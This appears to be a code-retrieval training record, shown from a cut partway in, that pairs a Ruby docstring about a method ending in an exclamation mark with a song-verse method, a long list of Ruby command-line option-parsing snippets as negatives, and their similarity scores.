{ $stderr.puts Gist::Version; exit 0; }\n opts.on('-h', '--help', 'Display this screen') { $stderr.puts opts; exit 0 }\n end\n end", "def test_parse05c\n options = ArgumentManager.parse( [ '--u-opt=foo', '--v-opt=bar' ] )\n assert_equal( 'bar', options[ 'v-opt' ] )\n end", "def parse(args)\n optparser = new_option_parser\n optparser.parse!(args)\n abort_missing_options(optparser)\n @options\n end", "def parse_cli\n raise \"Undefined interface for the command line of #{cli.task}\"\n end", "def parse_options(args)\n @options = OpenStruct.new\n @options.emacs = !args.delete('--emacs').nil?\n @options.wrap = !args.delete('--wrap').nil?\n @options.inner = !args.delete('--inner').nil?\n @options.jruby = !args.delete('--jruby').nil?\n @options.nojruby = !args.delete('--nojruby').nil?\n @options.action = args[0] || nil\n @options.path = args[1] || File.basename(Dir.pwd + '.rb')\n @options.args = args[2..-1] || []\n end", "def parse(argv)\n options = parser.process!(argv)\n validate_options(options)\n Revamp.logger.level = Logger::INFO unless options[:verbose]\n options\n end", "def parse_options\n case ARGV[1]\n when \"-p\", \"-plugin\"\n return true\n when \"-u\", \"-unplug\"\n return true\n else\n return false\n end\nend", "def opts\n @opts ||= OptionParser.new do |opts|\n opts.program_name = File.basename($PROGRAM_NAME)\n opts.banner = \"Usage: #{opts.program_name}\"\n\n opts.separator ''\n opts.separator 'Actions:'\n\n names = @actions.map(&:name)\n padding = names.map(&:size).max\n @actions.each do |action|\n opts.separator \" #{action.name.ljust(padding)} #{action.description}\\n\"\n end\n\n opts.separator ''\n opts.separator 'Tasks:'\n\n @processor_class.tasks.each do |task_name|\n opts.separator \" #{task_name}\"\n end\n\n opts.separator ''\n opts.separator 'Specific options:'\n opts.on('-a', '--action ACTION', names, 'Select an action to run (you may give this switch multiple times)', \" (#{names.join(', ')})\") do |v|\n options.actions << v\n end\n opts.on('-t', '--task TASK', @processor_class.tasks, 'Select a scraping task to run (you may give this switch multiple times)', \" (#{@processor_class.tasks.join(', ')})\") do |v|\n options.tasks << v\n end\n opts.on('-o', '--output_dir PATH', 'The directory or Redis address (e.g. redis://localhost:6379/0) in which to dump JSON documents') do |v|\n options.output_dir = v\n end\n opts.on('--pipelined', 'Dump JSON documents all at once') do |v|\n options.pipelined = v\n end\n opts.on('-c', '--cache_dir PATH', 'The directory or Memcached address (e.g. memcached://localhost:11211) in which to cache HTTP requests') do |v|\n options.cache_dir = v\n end\n opts.on('--no-cache', 'Disable HTTP request caching') do |v|\n options.cache_dir = nil\n end\n opts.on('-e', '--expires_in SECONDS', \"The cache's expiration time in seconds\") do |v|\n options.expires_in = v\n end\n opts.on('--value_max_bytes BYTES', \"The maximum Memcached item size\") do |v|\n options.value_max_bytes = v\n end\n opts.on('--memcached_username USERNAME', \"The Memcached username\") do |v|\n options.memcached_username = v\n end\n opts.on('--memcached_password USERNAME', \"The Memcached password\") do |v|\n options.memcached_password = v\n end\n opts.on('-d', '--database_url', 'The database URL (e.g. mongodb://USER:PASSWORD@localhost:27017/pupa or postgres://USER:PASSWORD@localhost:5432/pupa') do |v|\n options.database_url = v\n end\n opts.on('--[no-]validate', 'Validate JSON documents') do |v|\n options.validate = v\n end\n opts.on('-v', '--verbose', 'Show all messages') do\n options.level = 'DEBUG'\n end\n opts.on('-q', '--quiet', 'Show only warning and error messages') do\n options.level = 'WARN'\n end\n opts.on('-s', '--silent', 'Show no messages') do\n options.level = 'UNKNOWN'\n end\n opts.on('-n', '--dry-run', 'Show the plan without running any actions') do\n options.dry_run = true\n end\n\n opts.separator ''\n opts.separator 'Common options:'\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n exit\n end\n opts.on_tail('-v', '--version', 'Show version') do\n puts Pupa::VERSION\n exit\n end\n end\n end", "def test_parse04b\n options = ArgumentManager.parse( [ '--u-opt' ] )\n assert_equal( 'foo', options[ 'u-opt' ] )\n end", "def parse(args)\n arg_index = 0\n while arg_index < args.size\n arg = args[arg_index]\n\n if arg.start_with? '--'\n # Argument is a long option (eg: --verbose)\n op = arg[2,arg.length]\n value = nil\n\n # Check if the option and value are specified together (\"--op=value\")\n eql_index = op.index '='\n if !eql_index.nil?\n # Split \"op=value\" string and store\n value = op[eql_index+1, op.size]\n op = op[0, eql_index]\n end\n\n # Check if option is accepted\n raise \"Option '--#{op}' not accepted\" if !accepts? op\n\n # Remember that the option was specified\n data = @options[op]\n data.given = true\n\n # Check if given a value that wasn't expected\n if !data.has_value? && !eql_index.nil?\n raise \"Option '--#{op}' does not expect a value\"\n end\n \n # Get associated value\n if data.has_value?\n # If the option was not given as \"op=value\", get the next value.\n # Otherwise, save the value we stored before\n if eql_index.nil?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size\n raise \"Option '--#{op}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n else\n data.value = value\n end\n end\n\n elsif arg.start_with? '-'\n # Argument is a short option (eg: -a, -abc)\n op = arg[1,arg.length]\n \n # Make sure each character is accepted\n op.chars.each_with_index do |c,i|\n # Check for errors\n raise \"Option '-#{c}' not accepted\" if !accepts? c\n\n # Remember that the option was specified\n data = @options[c]\n data.given = true\n\n # Check for and save the option's values\n if data.has_value?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size || i >= op.size\n raise \"Option '-#{c}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n end\n end\n\n else\n # Argument is a param (ie. not an option)\n @params << arg\n end\n\n # Increment argument index\n arg_index += 1\n end\n end", "def parse_command_line args\n args.options do |opt|\n opt.on(\"rutema v#{Version::STRING}\")\n opt.on(\"Options:\")\n opt.on(\"--config FILE\", \"-c FILE\",String,\"Loads the configuration from FILE\") { |config_file| @config_file=config_file}\n opt.on(\"--check\",\"Runs just the suite setup test\"){@check=true}\n #opt.on(\"--step\",\"Runs test cases step by step\"){@step=true}\n opt.on(\"--silent\",\"Suppresses console output (only for the default reporters)\") { @silent=true}\n opt.on(\"--bare\",\"No default reporters whatsoever\") { @bare=true}\n #opt.on(\"--color\",\"Adds color to the Console reporter\") { @color=true}\n opt.on(\"-v\", \"--version\",\"Displays the version\") { $stdout.puts(\"rutema v#{Version::STRING}\");exit 0 }\n opt.on(\"--help\", \"-h\", \"-?\", \"This text\") { $stdout.puts opt; exit 0 }\n opt.on(\"--debug\", \"-d\", \"Turn on debug messages\") { $DEBUG=true }\n opt.on(\"You can provide a specification filename in order to run a single test\")\n opt.parse!\n #and now the rest\n unless @config_file\n puts \"No configuration file defined!\\n\"\n $stdout.puts opt \n exit 1\n end\n if !args.empty?\n @test_identifier=args.shift\n end\n end\n end", "def parse(args, flags={})\n @args = args\n # start with symbolized defaults\n hash = Hash[@defaults.map {|k,v| [k.to_sym, v] }]\n\n @leading_non_opts = []\n unless flags[:opts_before_args]\n @leading_non_opts << shift until current_is_option? || @args.empty? ||\n STOP_STRINGS.include?(peek)\n end\n\n while current_is_option?\n case @original_current_option = shift\n when SHORT_SQ_RE\n unshift $1.split('').map { |f| \"-#{f}\" }\n next\n when EQ_RE, SHORT_NUM\n unshift $2\n option = $1\n when LONG_RE, SHORT_RE\n option = $1\n end\n\n dashed_option = normalize_option(option)\n @current_option = undasherize(dashed_option)\n type = option_type(dashed_option)\n validate_option_value(type)\n value = create_option_value(type)\n # set on different line since current_option may change\n hash[@current_option.to_sym] = value\n end\n\n @trailing_non_opts = @args\n check_required! hash\n delete_invalid_opts if flags[:delete_invalid_opts]\n indifferent_hash.tap {|h| h.update hash }\n end", "def parse_options\n options = {}\n\n optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [-h|--help] <attrname>|all|report\"\n\n # Help\n opts.on('-h', '--help', 'Display usage information') do\n usage\n exit\n end\n end\n\n optparse.parse!\nend", "def parse arguments\n begin\n @option_parser.parse! arguments\n rescue StandardError => e\n puts @option_parser\n puts\n puts e.message\n exit(-1)\n end\n\n @options\n end", "def parse(argv)\n begin\n parser.parse!(argv)\n rescue ::OptionParser::InvalidOption\n puts \"smeagol: #{$!.message}\"\n puts \"smeagol: try 'smeagol --help' for more information\"\n exit 1\n end\n return *(argv + [options])\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-metadata [options] <object-name> ...\\n\\n Cat objects metadata (to stdout)\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend", "def parse_options(args) # :nodoc:\n global_options,command,options,arguments = parse_options_helper(args.clone,Hash.new,nil,Hash.new,Array.new)\n flags.each { |name,flag| global_options[name] = flag.default_value if !global_options[name] }\n command.flags.each { |name,flag| options[name] = flag.default_value if !options[name] }\n return [global_options,command,options,arguments]\n end", "def handle_options\n OptionParser.new do |opts|\n opts.banner = 'Travis CI Command Line Client'\n\n setup_help(opts) {|opts|\n opts.separator ''\n opts.separator 'Supported Options:'\n client_options().each {|option| opts.on(*option)}\n opts.on_tail('--help', '-h', '-H', 'display this help message.') do\n $stdout.print opts\n exit\n end\n }\n end.parse!\n end", "def parse_cmdline(o)\n cmd_opts = GetoptLong.new(\n ['--cluster', '-c', GetoptLong::REQUIRED_ARGUMENT],\n ['--pool', '-p', GetoptLong::REQUIRED_ARGUMENT],\n ['--end', '-e', GetoptLong::REQUIRED_ARGUMENT],\n ['--help', '-h', GetoptLong::NO_ARGUMENT],\n ['--output', '-o', GetoptLong::REQUIRED_ARGUMENT],\n ['--start', '-s', GetoptLong::REQUIRED_ARGUMENT],\n ['--utc', '-u', GetoptLong::REQUIRED_ARGUMENT],\n ['--verbose', '-v', GetoptLong::OPTIONAL_ARGUMENT],\n ['--version', '-V', GetoptLong::OPTIONAL_ARGUMENT]\n )\n cmd_opts.each do |opt, arg|\n case opt\n when '--cluster'\n o[:cluster] = arg\n when '--pool'\n o[:pool] = arg\n when '--end'\n if check_iso_date(arg)\n o[:end] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--help'\n puts <<-EOF\n#{$PROGRAM_NAME} [OPTIONS]\n\n-c, --cluster: Mandatory argument to depict which cluster the accounting\n information belongs to - is also part of output\n-h, --help: Show this help message\n-o, --output: Place results into this directory\n-v, --verbose: Be more verbose about what is happening\n note, prepending # to ensure it does not mangle output\n-V, --version: Output version string\n\nYou can specify the query range by specifying either\n-u, --utc: Run query for specified UTC date (YYYY-MM-DD)\nor\n-s, --start: start query at UTC date YYYY-MM-DD (start of day, i.e. 00:00:00)\n-e, --end: stop query at UTC date YYYY-MM-DD (end of day, i.e. 23:59:59,\n ignoring leap seconds\n\nPlease note that these -u and (-s/-e) are mutually exclusive and -u\nimplies -s/-e set to the same date.\n\nIf no date is given it will be the previous full UTC day prior to the\nscript's run time (a.k.a. now).\n\nEOF\n exit 0\n when '--output'\n o[:output] = File.expand_path(arg)\n when '--start'\n if check_iso_date(arg)\n o[:start] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --start invalid (given #{arg})\"\n exit 1\n end\n when '--utc'\n if check_iso_date(arg)\n o[:utc] = Time.parse(\"#{arg}T00:00:00Z\")\n o[:current] = false\n else\n STDERR.puts \"argument --utc invalid (given #{arg})\"\n exit 1\n end\n when '--verbose'\n o[:verbose] = 42\n when '--version'\n puts \"This is ldg-accounting-collector version\\n#{VERSION}\"\n exit 1\n else\n STDERR.puts \"unrecognized option #{arg}\"\n end\n end\nend", "def options(opt); end", "def options(opt); end", "def setup\n begin\n @options = OptParser.parse(ARGV)\n rescue ParserExceptions::MissingArgument\n exit(1)\n end\n\n end", "def parse_options(argv=ARGV)\n argv = argv.dup\n @opt_parser = OptionParser.new do |opts| \n # Set the banner\n opts.banner = banner \n \n # Create new options\n options.sort { |a, b| a[0].to_s <=> b[0].to_s }.each do |opt_key, opt_val| \n opt_args = build_option_arguments(opt_val)\n \n opt_method = case opt_val[:on]\n when :on\n :on\n when :tail\n :on_tail\n when :head\n :on_head\n else\n raise ArgumentError, \"You must pass :on, :tail, or :head to :on\"\n end\n \n parse_block = case opt_val[:boolean]\n when true\n Proc.new() do\n config[opt_key] = (opt_val[:proc] && opt_val[:proc].call(true)) || true\n puts opts if opt_val[:show_options]\n exit opt_val[:exit] if opt_val[:exit]\n end\n when false\n Proc.new() do |c|\n config[opt_key] = (opt_val[:proc] && opt_val[:proc].call(c)) || c\n puts opts if opt_val[:show_options]\n exit opt_val[:exit] if opt_val[:exit]\n end\n end\n \n full_opt = [ opt_method ]\n opt_args.inject(full_opt) { |memo, arg| memo << arg; memo }\n full_opt << parse_block\n opts.send(*full_opt)\n end\n end\n @opt_parser.parse!(argv)\n \n # Deal with any required values\n options.each do |opt_key, opt_value|\n if opt_value[:required] && ! config[opt_key]\n reqarg = opt_value[:short] || opt_value[:long]\n puts \"You must supply #{reqarg}!\"\n puts @opt_parser\n exit 2\n end\n end\n \n argv\n end", "def parse_options\n set_defaults\n unless parsed_options? && arguments_valid?\n output_usage\n exit 1\n end\n end", "def parse_options()\n options = {}\n\n optparse = OptionParser.new do|opts|\n opts.banner = $banner\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n opts.on('-s', '--show [n]', \"Tracks to display. Default #{$options[:show]}\") do |value|\n $options[:show] = value.to_i\n end\n end\n optparse.parse!\n\n return options\nrescue OptionParser::MissingArgument\n puts optparse\n raise\nend", "def parse_options()\n options = {}\n\n optparse = OptionParser.new do|opts|\n opts.banner = $banner\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n opts.on('-s', '--show [n]', \"Tracks to display. Default #{$options[:show]}\") do |value|\n $options[:show] = value.to_i\n end\n end\n optparse.parse!\n\n return options\nrescue OptionParser::MissingArgument\n puts optparse\n raise\nend", "def parse_cmd_line\n options = {\n files: [],\n config_file: 'grifter.yml',\n authenticate: true,\n #by leaving environment unset, grift will use GRIFTER_ENVIRONMENT variable if no -e is used on cmd line\n #environment: nil,\n }\n\n optparse = OptionParser.new do |opts|\n opts.banner = %Q|\n Grifter HTTP JSON APIs Client\n example, run a data script: bin/grifter -f script.rb\n example, call a method: bin/grifter <grift method name>\n\n |\n\n opts.on(\"-f\", \"--script=FILENAME\",\n \"specify a script file to run\") { |file| options[:files] << file }\n\n opts.on(\"-d\", \"--script-dir=dir\",\n \"specify a directory of grift scripts, run all of them\") { |dir| options[:files] += Dir[\"#{dir}/**/*.rb\"] }\n\n opts.on(\"-v\", \"--verbose\",\n \"debug logging, see every request and response in detail\") { Log.level = Logger::DEBUG }\n\n opts.on(\"-q\", \"--quiet\",\n \"quiet logging, warnings and errors only\") { Log.level = Logger::WARN }\n\n opts.on(\"-c\", \"--config=FILENAME\",\n \"config filename\") { |fn| options[:config_file] = fn }\n\n opts.on('-e', '--environment=ENVIRONMENT',\n \"environment name\") { |e| options[:environment] = e.to_sym }\n\n opts.on(\"-n\", \"--no-authenticate\",\n \"Do not authenticate\") { options[:authenticate] = false }\n\n opts.on('-l', \"--list\", \"Print each available grift method\") do\n options[:list_grift_methods] = true\n options[:authenticate] = false #no point in authenticating for --list\n end\n\n end\n optparse.parse!\n options\nend", "def test_parse04a\n ArgumentManager.add_option([ 'u-opt' ], :type => :string, :mandatory => true, :df_str => 'foo' )\n \n assert_raise( RuntimeError ) {\n options = ArgumentManager.parse( [] )\n }\n end", "def test_parse02b\n options = ArgumentManager.parse( [ '--s-opt' ] )\n assert_equal( 'foo', options[ 's-opt' ] )\n end" ]
[ "0.77286905", "0.75422674", "0.7542076", "0.7409308", "0.7409308", "0.73883796", "0.73883796", "0.7362992", "0.7329745", "0.7287945", "0.7228465", "0.71843016", "0.7176019", "0.716947", "0.71688426", "0.7162563", "0.7141025", "0.71287274", "0.71180296", "0.71133226", "0.71121854", "0.7106341", "0.70964044", "0.7088165", "0.7079476", "0.707787", "0.7057849", "0.70437163", "0.7038567", "0.70352566", "0.70324486", "0.7027367", "0.70187473", "0.70155716", "0.70020914", "0.69965476", "0.6989237", "0.6989165", "0.69703174", "0.69613045", "0.69520134", "0.69298923", "0.6922686", "0.69201773", "0.6912981", "0.68975407", "0.68853045", "0.68808615", "0.68683976", "0.6864745", "0.6864283", "0.6858736", "0.6846209", "0.6846108", "0.6844747", "0.68318754", "0.683035", "0.6823556", "0.68186146", "0.6815328", "0.6807236", "0.6785091", "0.67847097", "0.67735445", "0.67677945", "0.6767173", "0.6767136", "0.6765917", "0.67599225", "0.6749186", "0.67465353", "0.6745554", "0.67418027", "0.67370945", "0.67307335", "0.67291987", "0.6725219", "0.67232496", "0.6722992", "0.67226326", "0.6722524", "0.67163974", "0.67099047", "0.6709289", "0.67091066", "0.67074436", "0.67017466", "0.66987693", "0.6697551", "0.66962135", "0.66893744", "0.6687932", "0.6682948", "0.6682604", "0.66817325", "0.6668223", "0.6668223", "0.66642886", "0.6661797", "0.6659232" ]
0.70824856
24
=begin rdoc Predicate ends in a quotation mark, returns Boolean =end
def empty?() @bottles.zero? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def Predicate(path, parsed); end", "def implicit_docstring?\n YARD.implicit_docstring?(docstring, method)\n end", "def predicate_string_term predicate\n if predicate[0] == '^'\n \"^<#{predicate[1..predicate.length-1]}>\"\n else\n \"<#{predicate}>\"\n end\nend", "def begins_with_r(collection)\n collection.each do |names|\n if names.start_with?(\"r\") == false\n return false\n end\n end\nreturn true\nend", "def contains_heredoc?(node)\n node.each_descendant(:str, :xstr, :dstr).any?(&:heredoc?)\n end", "def has_doc?\n !docstring.all.empty?\n end", "def complete_expression?(str); end", "def double_quoted?(yaml_content, start, finish)\n starts_with?('\"'.ord, yaml_content, start, finish)\n end", "def doc?\n (doc && !doc.empty?)\n end", "def doc?\n (doc && !doc.empty?)\n end", "def double_quotes_required?(string); end", "def double_quotes_required?(string); end", "def cold_shoulder? remark\n '' == remark.strip\n end", "def has_right_syntax?\n #check syntax\n if @searchwords.to_s.empty?\n return false\n end \n true\n end", "def predicate_method?\n method_name.to_s.end_with?('?')\n end", "def fully_documented?\n @fully_documented\n end", "def is_text_run? # rubocop:disable Naming/PredicateName\n defined?(@is_text_run) && @is_text_run && !contains_rich_text?\n end", "def author_worthy?\n notes?\n end", "def has_rdoc # :nodoc:\n true\n end", "def has_text?; end", "def selected?\n content.rpartition(' ').last == 'true'\n end", "def is_rpar(latex, step)\n\tlatex[step+1..step+5].join == \"right)\"\nend", "def offense?(node)\n return false if documented_parent?(node)\n return false if inside_interpolation?(node)\n\n wrong_quotes?(node)\n end", "def begins_with_r(arr)\n arr.each do |word|\n \tif word[0] != 'r'\n \t\treturn false\n \tend\n end\n return true\nend", "def literal?(node); end", "def important?(word)\n\nend", "def text?\n @parser and @parser.include? RDoc::Parser::Text\n end", "def reference?\n @decorated_name =~ /\\^/\n end", "def question?\n if self.end_with?(\"?\")\n true\n else\n false\n end\n end", "def xmldoc?\n sort == ::XMLDOC\n end", "def edited?\n @description =~ /^[^\"].*edited \"/\n end", "def matching_the_word_and\n /WRITE ME/\n end", "def inferred_title?(document); end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def question?\n self.end_with?(\"?\")\n end", "def delimited_string_literal?(node); end", "def begins_with_r(tools)\n tools.each do |x|\n if x[0] != 'r'\n return false\n end\n end\n return true\nend", "def match?(name, literal) true end", "def predicate_rdf(predicate, builder)\n builder.tag!(predicate.to_name_s) do\n # Get the predicate values\n self[predicate.to_s].each do |value|\n # If we have a (re)Source, we have to put in another description tag.\n # Otherwise, we will take just the string\n if(value.respond_to?(:uri))\n builder.rdf :Description, \"rdf:about\" => value.uri.to_s\n else\n builder.text!(value.to_s)\n end\n end # end predicate loop\n end # end tag!\n end", "def document?\n self.type == \"Document\"\n end", "def nodoc_comment?(node, require_all: T.unsafe(nil)); end", "def filter(doc)\n genus_text = doc['genus_text']\n\n if (genus_text == nil) then return true\n end\n\n genus_text = genus_text.downcase\n\n if (genus_text == 'papaver' or genus_text == 'psilocybe' or genus_text == 'erythroxylum')\n then return false\n end\n\n material_facet = doc['material_facet']\n\n if (genus_text == 'cannabis' and (!material_facet or material_facet.downcase != 'fiber & textiles'))\n then return false\n end\n\n coll_date_text = doc['coll_date_text']\n\n if (coll_date_text =~ /\\b(\\d{4})\\b/) and ($1.to_i >= 1970)\n then return false\n end\n\n return true \nend", "def process_true(exp)\n \"Qtrue\"\n end", "def commit_body? str\n not str.start_with? '*'\nend", "def paragraphs?\n false\n end", "def uri?(word)\n return false if config.include_uris\n !(word =~ URI.regexp).nil?\n end", "def valid?\n\t return ( major.text.include?('Success') and minor.text.include?('OnAllDocuments') )\n\tend", "def begins_with_r(array)\n\treturn_value = true\n\tarray.each {|word| return_value = false if word[0] != \"r\"}\n\treturn_value\nend", "def predicate\n return property if property.is_a?(RDF::Term)\n property_config[:predicate] if is_property?\n end", "def begins_with_r(array)\n array.each do |word|\n if word[0] != \"r\"\n return false\n end\n end\n true\nend", "def end_of_word?\n @end_of_word\n end", "def unpublished?\n /\\b(nom prov|comb prov|sensu lato|ined)\\b/i =~ author&.delete(\".\")\n end", "def valid?\n RDF::URI::IRI.match?(to_s) || false\n end", "def despined?(*)\n end", "def oa_conclusion_actual(result, ddf_header, sherpa_header)\n fulltext_conclusion = has_fulltext(result, ddf_header)\n return ((fulltext_conclusion or result.has_key?(\"doaj\")) ? \"Yes\" : \"No\")\n end", "def is_endstr?(); @type == GRT_ENDSTR; end", "def docmp(itemA, itemB)\n true\n end", "def has_notes?\n notes&.match(/\\S/)\n end", "def apply(left, right)\n RDF::Literal(left.to_s == right.to_s)\n end", "def in_a_document?\n state = false\n state = true if document_lines.count > 0\n return state\n end", "def test_uri_validator\n # invalid\n assert !RDF::valid_uri?(\"use`quote\")\n # assert !RDF::valid_uri?(\"use%7quote\")\n\n # valid\n assert RDF::valid_uri?(\"use%07quote\")\n\n end", "def entire?\n entire\n end", "def has_summary?(content)\n content.include?('<!-- more -->')\nend", "def has_remark?\n !remark_result.nil?\n end", "def search(word)\n result = find(word)\n !!(result && result.isend)\n end", "def add_predicate; end", "def test_perldoc\n assert_binop_equal :|, \"JA\", \" ph\\n\", \"japh\\n\"\n end", "def validate(doc)\n\t\treturn true\n\tend", "def pred?(p)\n @pred.include?(p)\n end", "def title_check\n \n\n if self.title\n \n if !self.title.include? \"Believe\" || \"Won't\" || \"Secret\"\n true\n else\n false\n end\n else\n false\n end\n end", "def textual?\n properties.include?(\"textual\")\n end", "def single_quote?(text)\n text.include?(\"'\")\n end", "def is_link?\n self.type == 'Document::VirtualCollege' && !is_pdf?\n end", "def test_contains_recipe\n @fdb = setup\n assert(@fdb.contains_recipe?(\"PB&J Sandwich\") == true, \"Database does not contain recipe when it should\")\n assert(@fdb.contains_recipe?(\"Lemon Pie\") == false, \"False positive found\")\n end", "def generate_excerpt?\n !excerpt_separator.empty?\n end", "def valid?\n return false if !raw.include?('Returns')\n return false if sections.size < 2\n true\n end", "def define_predicate_method(key1, key2=key1)\n define_method(:\"#{key1}?\") do\n !!@attrs[key2]\n end\n end", "def fedora_status_predicate\n ::RDF::URI(\"http://fedora.info/definitions/v4/repository#status\")\n end", "def supporting_document_other?\n supporting_document_list.include?('OTHER')\n end", "def expanded?(r)\n false\n end", "def begins_with_r(tools)\n tools.all? do |word|\n word.downcase.chr == \"r\"\n end\nend", "def matches_query?\n self.title == query[:text]\n end", "def term_id_expects_uri?\n return false if term_config.nil? || !(term_config.key? :term_id)\n term_config[:term_id] == \"URI\"\n end", "def define_predicate_method(key1, key2 = key1)\n define_method(:\"#{key1}?\") do\n !attr_falsey_or_empty?(key2)\n end\n end", "def define_predicate_method(key1, key2 = key1)\n define_method(:\"#{key1}?\") do\n !attr_falsey_or_empty?(key2)\n end\n end", "def fexistrx(fname, sname)\n if fexists fname, sname\n if eval \"$#{fname}['#{sname},facets'].include? 'ref'\"\n return true\n else\n return false\n end\n else\n return false\n end\nend", "def prologify\n \"false\"\n end", "def begins_with_r(collection)\n collection.all? {|element| element.start_with?(\"r\")}\nend", "def with_html?\n TRUE_WORDS.include? params[:with_html]\n end", "def term_readonly?( term )\n #puts \"=====> GenericWork.term_readonly? #{term}\"\n return true if [:author_email, :author_institution, :date_created, :identifier, :publisher, :department, :degree, :license].include? term\n return true if term == :title && is_sis_thesis?\n false\n end", "def predicate?(*args)\n predicate.call(*args)\n end", "def validate\n if !raw.include?('Returns')\n raise InvalidTomDoc.new(\"No `Returns' statement.\")\n end\n\n if sections.size < 2\n raise InvalidTomDoc.new(\"No description section found.\")\n end\n\n true\n end", "def ok?(doc)\n ok = doc['ok']\n ok == 1 || ok == 1.0 || ok == true\n end", "def is_type?\n @predicate.to_s == \"http://www.w3.org/1999/02/22-rdf-syntax-ns#type\"\n end", "def is_question?( statement )\n statement.end_with? '?'\n end", "def predicate_words\n _predicate_words\n end" ]
[ "0.5924306", "0.57749313", "0.5740364", "0.5618657", "0.56178963", "0.5608032", "0.5575808", "0.5575404", "0.5563643", "0.5563643", "0.55439526", "0.55439526", "0.5542096", "0.5522708", "0.5521976", "0.5494024", "0.5485341", "0.5472267", "0.54436064", "0.5433529", "0.5424686", "0.54225457", "0.53882295", "0.5379294", "0.5347218", "0.5326457", "0.53175515", "0.53070766", "0.53062165", "0.52989584", "0.5296213", "0.5287026", "0.52715737", "0.526494", "0.526494", "0.526494", "0.526494", "0.526494", "0.526494", "0.526494", "0.52639455", "0.5255157", "0.52545625", "0.5249292", "0.5243798", "0.52436507", "0.52434504", "0.524154", "0.5238726", "0.52320653", "0.5230674", "0.5226712", "0.5213751", "0.52127206", "0.5204199", "0.5203796", "0.51950777", "0.5183724", "0.51786005", "0.51719046", "0.5164703", "0.51477784", "0.5145032", "0.5142189", "0.5139054", "0.5132583", "0.51214886", "0.5121186", "0.5113703", "0.51087636", "0.51055735", "0.5104973", "0.5097371", "0.50928754", "0.5083928", "0.5080394", "0.50759447", "0.5075833", "0.5074767", "0.50703764", "0.5063372", "0.5059745", "0.50561255", "0.5052918", "0.50506854", "0.5046234", "0.50379306", "0.5032112", "0.50301045", "0.50301045", "0.5029017", "0.5012058", "0.5006917", "0.5000417", "0.4993599", "0.4993106", "0.49905324", "0.49897453", "0.49887607", "0.498771", "0.49825254" ]
0.0
-1
=begin rdoc Destructive method, ends in a exclamation mark =end
def singOneVerse!() puts sing("On the wall, ") + sing("\n") + takeOneDown! + sing(" on the wall \n\n") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def -@; end", "def private; end", "def delelte\n\n end", "def specialty; end", "def silly_adjective; end", "def doc; end", "def doc; end", "def doc; end", "def doc; end", "def deter\n \n end", "def probers; end", "def -@()\n #This is a stub, used for indexing\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def refutal()\n end", "def suivre; end", "def isolated; end", "def isolated; end", "def extra; end", "def buzzword; end", "def buzzword; end", "def ignores; end", "def -@\n end", "def celebration; end", "def missing; end", "def desc=(_); end", "def gounod; end", "def doc=(_arg0); end", "def doc=(_arg0); end", "def doc=(_arg0); end", "def anchored; end", "def plain; end", "def custom; end", "def custom; end", "def unused\n end", "def schubert; end", "def offences_by; end", "def private_method\n end", "def who_we_are\r\n end", "def internal; end", "def missing?; end", "def original; end", "def hidden_apis=(_arg0); end", "def incomplete\r\n\r\n end", "def verdi; end", "def docstring; end", "def docstring; end", "def ignore; end", "def absent?; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def method; end", "def excluded; end", "def reserved; end", "def herald; end", "def docs=(_arg0); end", "def formation; end", "def normal\n end", "def normal\n end", "def dish; end", "def private_method; end", "def internal?; end", "def droid; end", "def as_you_like_it_quote; end", "def _; end", "def raise_deprecations; end", "def msg=(_); end", "def msg=(_); end", "def terpene; end", "def deco_call; end", "def desc; end", "def docs; end", "def jack_handey; end", "def public_method; end", "def private_notes\n \n end", "def !\n !__getobj__\n end", "def notations; end", "def offences_by=(_arg0); end", "def optional; end", "def diagnostic; end", "def unpublished=(_arg0); end", "def details=(_); end", "def silence_deprecations; end", "def culprit\n @culprit\n end", "def isolated?; end", "def isolated?; end", "def deco_pos; end", "def awaken!\n\t\traise 'Not implemented'\n\tend", "def tell()\n #This is a stub, used for indexing\n end", "def weber; end" ]
